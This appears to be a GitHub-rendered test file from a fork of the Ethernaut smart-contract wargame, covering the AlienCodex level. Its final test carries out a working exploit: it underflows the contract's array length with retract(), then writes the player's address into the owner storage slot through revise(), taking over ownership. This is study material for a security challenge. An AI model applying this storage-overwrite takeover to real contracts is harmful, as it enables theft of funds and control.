forked from OpenZeppelin/ethernaut
-
Notifications
You must be signed in to change notification settings - Fork 0
/
AlienCodex.test.js
62 lines (51 loc) · 1.92 KB
/
AlienCodex.test.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const AlienCodex = artifacts.require('./levels/AlienCodex.sol');
const AlienCodexFactory = artifacts.require('./levels/AlienCodexFactory.sol');
const Ethernaut = artifacts.require('./Ethernaut.sol');
const utils = require('../utils/TestUtils');
const { ethers, upgrades } = require('hardhat');
contract('AlienCodex', function (accounts) {
let ethernaut;
let level;
let instance;
let owner = accounts[1];
let player = accounts[0];
let statproxy;
before(async function () {
ethernaut = await utils.getEthernautWithStatsProxy();
level = await AlienCodexFactory.new();
await ethernaut.registerLevel(level.address);
instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
AlienCodex,
{ from: player }
);
});
describe('instance', function () {
it('should not be immediately solvable', async function () {
// Player is not owner yet
assert.notEqual(player, owner);
// Player hasn't made first contact yet
let status = await instance.contact.call();
assert.isFalse(status);
});
it('should allow the user to join AlienCodex', async function () {
await instance.make_contact();
// Player should have successfully made first contact
let status = await instance.contact.call();
assert.isTrue(status);
});
it('codex array should underflow, giving user all storage access to become owner', async function () {
await instance.retract();
const owner_loc =
'0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a'; // location of owner ptr, offset by array's frame of reference
const padding = '0x000000000000000000000000';
let _data = padding + player.substr(2);
await instance.revise(owner_loc, _data, { from: player });
// Player should own the instance now
let ownr = await instance.owner();
assert.equal(ownr, player);
});
});
});